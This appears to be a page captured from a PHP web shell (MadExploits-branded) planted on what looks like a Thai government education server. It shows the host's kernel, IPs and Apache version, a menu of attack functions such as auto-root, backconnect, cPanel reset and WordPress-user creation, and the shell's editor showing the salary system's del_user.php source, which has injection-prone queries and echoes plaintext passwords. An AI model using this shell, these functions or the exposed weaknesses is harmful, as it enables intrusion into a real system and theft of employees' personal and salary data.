Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
salary_online /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
_notes
[ DIR ]
drwxr-xr-x
PHPCounter.txt
9
B
-rw-r--r--
PHPCounter2.txt
9
B
-rw-r--r--
del_ok.php
1.32
KB
-rw-r--r--
del_user.php
10.24
KB
-rw-r--r--
edit_admin.php
6.47
KB
-rw-r--r--
edit_ok.php
1.33
KB
-rw-r--r--
edit_user.php
10.79
KB
-rw-r--r--
index.php
5.25
KB
-rw-r--r--
insert_ok.php
1.33
KB
-rw-r--r--
insert_user.php
7.17
KB
-rw-r--r--
login_fail.php
1.35
KB
-rw-r--r--
main.php
6.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : del_user.php
<?php require_once('../Connections/salary_online.php'); ?> <?php if (!isset($_SESSION)) { session_start(); } $MM_authorizedUsers = ""; $MM_donotCheckaccess = "true"; // *** Restrict Access To Page: Grant or deny access to this page function isAuthorized($strUsers, $strGroups, $UserName, $UserGroup) { // For security, start by assuming the visitor is NOT authorized. $isValid = False; // When a visitor has logged into this site, the Session variable MM_Username set equal to their username. // Therefore, we know that a user is NOT logged in if that Session variable is blank. if (!empty($UserName)) { // Besides being logged in, you may restrict access to only certain users based on an ID established when they login. // Parse the strings into arrays. $arrUsers = Explode(",", $strUsers); $arrGroups = Explode(",", $strGroups); if (in_array($UserName, $arrUsers)) { $isValid = true; } // Or, you may restrict access to only certain users based on their username. if (in_array($UserGroup, $arrGroups)) { $isValid = true; } if (($strUsers == "") && true) { $isValid = true; } } return $isValid; } $MM_restrictGoTo = "login_fail.php"; if (!((isset($_SESSION['MM_Username'])) && (isAuthorized("",$MM_authorizedUsers, $_SESSION['MM_Username'], $_SESSION['MM_UserGroup'])))) { $MM_qsChar = "?"; $MM_referrer = $_SERVER['PHP_SELF']; if (strpos($MM_restrictGoTo, "?")) $MM_qsChar = "&"; if (isset($QUERY_STRING) && strlen($QUERY_STRING) > 0) $MM_referrer .= "?" . $QUERY_STRING; $MM_restrictGoTo = $MM_restrictGoTo. $MM_qsChar . "accesscheck=" . urlencode($MM_referrer); header("Location: ". $MM_restrictGoTo); exit; } ?> <?php $currentPage = $_SERVER["PHP_SELF"]; function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { $theValue = (!get_magic_quotes_gpc()) ? addslashes($theValue) : $theValue; switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } if ((isset($_POST['id'])) && ($_POST['id'] != "")) { $deleteSQL = sprintf("DELETE FROM member WHERE id=%s", GetSQLValueString($_POST['id'], "int")); mysql_select_db($database_salary_online, $salary_online); $Result1 = mysql_query($deleteSQL, $salary_online) or die(mysql_error()); $deleteGoTo = "del_ok.php"; if (isset($_SERVER['QUERY_STRING'])) { $deleteGoTo .= (strpos($deleteGoTo, '?')) ? "&" : "?"; $deleteGoTo .= $_SERVER['QUERY_STRING']; } header(sprintf("Location: %s", $deleteGoTo)); } $maxRows_Recordset1 = 1; $pageNum_Recordset1 = 0; if (isset($_GET['pageNum_Recordset1'])) { $pageNum_Recordset1 = $_GET['pageNum_Recordset1']; } $startRow_Recordset1 = $pageNum_Recordset1 * $maxRows_Recordset1; $colname_Recordset1 = "-1"; if (isset($_SESSION['MM_Username'])) { $colname_Recordset1 = (get_magic_quotes_gpc()) ? $_SESSION['MM_Username'] : addslashes($_SESSION['MM_Username']); } mysql_select_db($database_salary_online, $salary_online); $query_Recordset1 = sprintf("SELECT * FROM `admin` WHERE username = '%s'", $colname_Recordset1); $query_limit_Recordset1 = sprintf("%s LIMIT %d, %d", $query_Recordset1, $startRow_Recordset1, $maxRows_Recordset1); $Recordset1 = mysql_query($query_limit_Recordset1, $salary_online) or die(mysql_error()); $row_Recordset1 = mysql_fetch_assoc($Recordset1); if (isset($_GET['totalRows_Recordset1'])) { $totalRows_Recordset1 = $_GET['totalRows_Recordset1']; } else { $all_Recordset1 = mysql_query($query_Recordset1); $totalRows_Recordset1 = mysql_num_rows($all_Recordset1); } $totalPages_Recordset1 = ceil($totalRows_Recordset1/$maxRows_Recordset1)-1; $maxRows_Recordset2 = 1; $pageNum_Recordset2 = 0; if (isset($_GET['pageNum_Recordset2'])) { $pageNum_Recordset2 = $_GET['pageNum_Recordset2']; } $startRow_Recordset2 = $pageNum_Recordset2 * $maxRows_Recordset2; $colname_Recordset2 = "-1"; if (isset($_GET['textfield14'])) { $colname_Recordset2 = (get_magic_quotes_gpc()) ? $_GET['textfield14'] : addslashes($_GET['textfield14']); } mysql_select_db($database_salary_online, $salary_online); $query_Recordset2 = sprintf("SELECT * FROM member WHERE username like '%%%s%%' or name like '%%%s%%'", $colname_Recordset2,$colname_Recordset2); $query_limit_Recordset2 = sprintf("%s LIMIT %d, %d", $query_Recordset2, $startRow_Recordset2, $maxRows_Recordset2); $Recordset2 = mysql_query($query_limit_Recordset2, $salary_online) or die(mysql_error()); $row_Recordset2 = mysql_fetch_assoc($Recordset2); if (isset($_GET['totalRows_Recordset2'])) { $totalRows_Recordset2 = $_GET['totalRows_Recordset2']; } else { $all_Recordset2 = mysql_query($query_Recordset2); $totalRows_Recordset2 = mysql_num_rows($all_Recordset2); } $totalPages_Recordset2 = ceil($totalRows_Recordset2/$maxRows_Recordset2)-1; $queryString_Recordset2 = ""; if (!empty($_SERVER['QUERY_STRING'])) { $params = explode("&", $_SERVER['QUERY_STRING']); $newParams = array(); foreach ($params as $param) { if (stristr($param, "pageNum_Recordset2") == false && stristr($param, "totalRows_Recordset2") == false) { array_push($newParams, $param); } } if (count($newParams) != 0) { $queryString_Recordset2 = "&" . htmlentities(implode("&", $newParams)); } } $queryString_Recordset2 = sprintf("&totalRows_Recordset2=%d%s", $totalRows_Recordset2, $queryString_Recordset2); ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>ระบบแจ้งยอดเงินเดือน ออนไลน์ </title> </head> <body> <table width="100%" border="0"> <tr> <td align="center"><table width="70%" border="1"> <tr> <td align="center" bgcolor="#FF9900">ระบบแจ้งยอดเงินเดือน ออนไลน์ </td> </tr> <tr> <td align="center"><table width="100%" border="0"> <tr> <td align="center" valign="top"><strong>ค้นหา ( เลข ปชช. หรือ ชื่อ หรือ นามสกุล ) </strong></td> </tr> <tr> <td align="center" valign="top"><form id="form2" name="form2" method="get" action=""> <label>กรอกคำค้น <input value="<?php echo $row_Recordset2['username']; ?>" type="text" name="textfield14" /> </label> <label> <input type="submit" name="Submit2" value="ค้นหา" /> </label> </form></td> </tr> <tr> <td align="center" valign="top"><table width="100%" border="0"> <tr> <td><div align="center"><a href="<?php printf("%s?pageNum_Recordset2=%d%s", $currentPage, 0, $queryString_Recordset2); ?>">First </a> / <a href="<?php printf("%s?pageNum_Recordset2=%d%s", $currentPage, max(0, $pageNum_Recordset2 - 1), $queryString_Recordset2); ?>">Previous </a> / <a href="<?php printf("%s?pageNum_Recordset2=%d%s", $currentPage, min($totalPages_Recordset2, $pageNum_Recordset2 + 1), $queryString_Recordset2); ?>">Next </a> / <a href="<?php printf("%s?pageNum_Recordset2=%d%s", $currentPage, $totalPages_Recordset2, $queryString_Recordset2); ?>">Last</a></div></td> </tr> </table> </td> </tr> </table></td> </tr> <tr> <td align="center"><form id="form1" name="form1" method="POST"> <p><br /> ลบข้อมูล</p> <table cellspacing="1" cellpadding="0"> <col width="114" /> <col width="115" /> <col width="64" /> <tr height="20"> <td width="114" height="20" align="right" bgcolor="#FFF0D9">id : </td> <td width="149" bgcolor="#FFF0D9"><label> <input name="id" type="text" id="id" value="<?php echo $row_Recordset2['id']; ?>" /> </label></td> </tr> <tr height="20"> <td height="20" align="right">รหัสผู้ใช้ : </td> <td><input name="username" type="text" id="username" value="<?php echo $row_Recordset2['username']; ?>" /></td> </tr> <tr height="20"> <td height="20" align="right" bgcolor="#FFF0D9">รหัสผ่าน : </td> <td bgcolor="#FFF0D9"><input name="password" type="text" id="password" value="<?php echo $row_Recordset2['password']; ?>" /></td> </tr> <tr height="20"> <td height="20" align="right" bgcolor="#FFF0D9">ชื่อ - นามสกุล : </td> <td bgcolor="#FFF0D9"><input name="name" type="text" id="name" value="<?php echo $row_Recordset2['name']; ?>" /></td> </tr> </table> <p> <label> <input type="submit" name="Submit" value="Submit" /> </label> </p> <p><a href="main.php">กลับหน้าหลัก</a></p> <p> </p> </form> </td> </tr> <tr> <td align="center" bgcolor="#FF9900">สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาเขต 29 </td> </tr> </table></td> </tr> <tr> <td align="center"> </td> </tr> </table> </body> </html> <?php mysql_free_result($Recordset1); mysql_free_result($Recordset2); ?>
Close